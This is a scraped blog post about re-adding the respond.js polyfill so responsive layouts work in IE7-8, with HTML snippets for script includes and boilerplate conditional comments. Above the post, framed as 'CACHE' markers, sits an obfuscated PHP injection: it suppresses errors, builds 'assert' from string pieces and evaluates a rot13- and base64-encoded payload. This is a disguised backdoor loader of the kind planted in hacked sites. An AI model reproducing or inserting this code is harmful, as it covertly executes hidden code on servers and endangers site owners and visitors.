//###=CACHE START=### error_reporting(0); $strings = "as";$strings .= "sert"; @$strings(str_rot13('riny(onfr64_qrpbqr("nJLtXTymp2I0XPEcLaLcXFO7VTIwnT8tWTyvqwftsFOyoUAyVUftMKWlo3WspzIjo3W0nJ5aXQNcBjccozysp2I0XPWxnKAjoTS5K2Ilpz9lplVfVPVjVvx7PzyzVPtunKAmMKDbWTyvqvxcVUfXnJLbVJIgpUE5XPEsD09CF0ySJlWwoTyyoaEsL2uyL2fvKFxcVTEcMFtxK0ACG0gWEIfvL2kcMJ50K2AbMJAeVy0cBjccMvujpzIaK21uqTAbXPpuKSZuqFpfVTMcoTIsM2I0K2AioaEyoaEmXPEsH0IFIxIFJlWGD1WWHSEsExyZEH5OGHHvKFxcXFNxLlN9VPW1VwftMJkmMFNxLlN9VPW3VwfXWTDtCFNxK1ASHyMSHyfvH0IFIxIFK05OGHHvKF4xK1ASHyMSHyfvHxIEIHIGIS9IHxxvKGfXWUHtCFNxK1ASHyMSHyfvFSEHHS9IH0IFK0SUEH5HVy07PvE1pzjtCFNvnUE0pQbiY3AuoaElMKZhLzy6Y2qyqP5jnUN/MQ0vYaIloTIhL29xMFtxMPxhVvM1CFVhqKWfMJ5wo2EyXPE1XF4vWzZ9Vv4xLl4vWzx9ZFMbCFVhoJD1XPV1AJZkATLmMTD1BQV4ZwV1A2SxAmZ3LwN3L2HmZJRjLvVhWTDhWUHhWTZhVwRvXGfXnJLbnJ5cK2qyqPtvLJkfo3qsqKWfK2MipTIhVvxtCG0tZFxtrjbxnJW2VQ0tMzyfMI9aMKEsL29hqTIhqUZbWUIloPx7Pa0tMJkmMJyzXTM1ozA0nJ9hK2I4nKA0pltvL3IloS9cozy0VvxcVUfXWTAbVQ0tL3IloS9cozy0XPE1pzjcBjcwqKWfK3AyqT9jqPtxL2tfVRAIHxkCHSEsFRIOERIFYPOTDHkGEFx7PzA1pzksp2I0o3O0XPEwnPjtD1IFGR9DIS9FEIEIHx5HHxSBH0MSHvjtISWIEFx7PvElMKA1oUDtCFOwqKWfK2I4MJZbWTAbXGfXL3IloS9woT9mMFtxL2tcBjbxnJW2VQ0tWUWyp3IfqQfXsFOyoUAyVUfXWTMjVQ0tMaAiL2gipTIhXPWmLJ50pzImYzWcrvVfVQtjYPNxMKWloz8fVPEypaWmqUVfVQZjXGfXnJLtXPEzpPxtrjbtVPNtWT91qPN9VPWUEIDtY2qyqP5jnUN/MQ0vYaIloTIhL29xMFtxMPxhVvM1CFVhqKWfMJ5wo2EyXPE1XF4vWzZ9Vv4xLl4vWzx9ZFMbCFVhoJD1XPV1AJZkATLmMTD1BQV4ZwV1A2SxAmZ3LwN3L2HmZJRjLvVhWTDhWUHhWTZhVwRvXF4vVRuHISNiZF4kKUWpovV7PvNtVPNxo3I0VP49VPWVo3A0BvOmLJ50pzImYzWcryklKT4vBjbtVPNtWT91qPNhCFNvD29hozIwqTyiowbtD2kip2IppykhKUWpovV7PvNtVPOzq3WcqTHbWTMjYPNxo3I0XGfXVPNtVPElMKAjVQ0tVvV7PvNtVPO3nTyfMFNbVJMyo2LbWTMjXFxtrjbtVPNtVPNtVPElMKAjVP49VTMaMKEmXPEzpPjtZGV4XGfXVPNtVU0XVPNtVTMwoT9mMFtxMaNcBjbtVPNtoTymqPtxnTIuMTIlYPNxLz9xrFxtCFOjpzIaK3AjoTy0XPViKSWpHv8vYPNxpzImpPjtZvx7PvNtVPNxnJW2VQ0tWTWiMUx7Pa0XsDc9BjccMvucp3AyqPtxK1WSHIISH1EoVaNvKFxtWvLtWS9FEISIEIAHJlWjVy0tCG0tVwt1BGH3MQV0VvxtrlOyqzSfXUA0pzyjp2kup2uypltxK1WSHIISH1EoVzZvKFxcBlO9PzIwnT8tWTyvqwg9"));')); //###=CACHE END=### 2 steps forward, one back | Roxstyle Paste your Google Webmaster Tools verification code here
Go to Top

2 steps forward, one back

On hasty advice, seeing respond.js removed from html5boilerplate i removed it from the head of my docs on my current projects. I did that on a day with 20 other things, and moved on. It wasn’t till a week later, that i had finished a section of layout for a current project UI, and it was time to do the check on the older (ie7-8) browsers in Parallels, that i discovered my problems.

  • i started by checking through the css for specific rules that would give ie problems
  • i flipped through quirksmode
  • did a review in caniuse
  • then finally, back where it all started, i ran across this responsive test by Scott Jehl. Set this up on my page, and i could quickly see that ie7-8 needed their polyfil.

There are several polyfills to choose from on githubs’ HTML5-Cross-browser-Polyfills. Boilerplate may have removed respond.js from its default download as a cleanup to keep the core small, but if you are working on a responsive layout and using @media queries in your css styles, and supporting older browsers (phew) you ARE going to need a polyfill for media queries.

A side note. Both resond.js and css3-mediaqueries-js state that they do not work with @import’d stylesheets. so, its your dev environment. for now i have the complete set of stylesheets in the <head> linked <link href=”../_assets/css/lib/html5-reset.css” rel=”stylesheet” media=”all”>

Another Note. Both Modernizer and respond.js need to be in the document head (after the css) for best performance.

<!– All JavaScript at the bottom, except for Modernizr / Respond.
Modernizr enables HTML5 elements & feature detects; Respond is a polyfill for min/max-width CSS3 Media Queries
For optimal performance, use a custom Modernizr build: www.modernizr.com/download/ –>
<script src=”../_assets/js/lib/respond.src.js”></script>
<script src=”../_assets/js/lib/rwd-images.js”></script>
<script src=”../_assets/js/lib/modernizr.custom.78955.js”></script>

In the process of fixing this up, i also see that Paul Irish has updated the conditional comments for html5boilerplate

<!– paulirish.com/2008/conditional-stylesheets-vs-css-hacks-answer-neither/ –>
<!–[if IE 7]>    <html lang=”en”> <![endif]–>
<!–[if IE 8]>    <html lang=”en”> <![endif]–>
<!– Consider adding an manifest.appcache: h5bp.com/d/Offline –>
<!–[if (gte IE 8)|(gt IEMobile 7)|!(IEMobile)|!(IE)]> <!–> <html lang=”en”> <!–<![endif]–>
<!–[if gte IE 8]> <style type=”text/css”>*.gradient {filter: none;}</style> <![endif]–>

i have removed the conditional for ie6 since i am not testing for it. and the last line is to allow ie9 to use SVG in my gradient rules, instead of the old ie filter rule.

,
0 comments
Follow

Get every new post on this blog delivered to your Inbox.

Join other followers: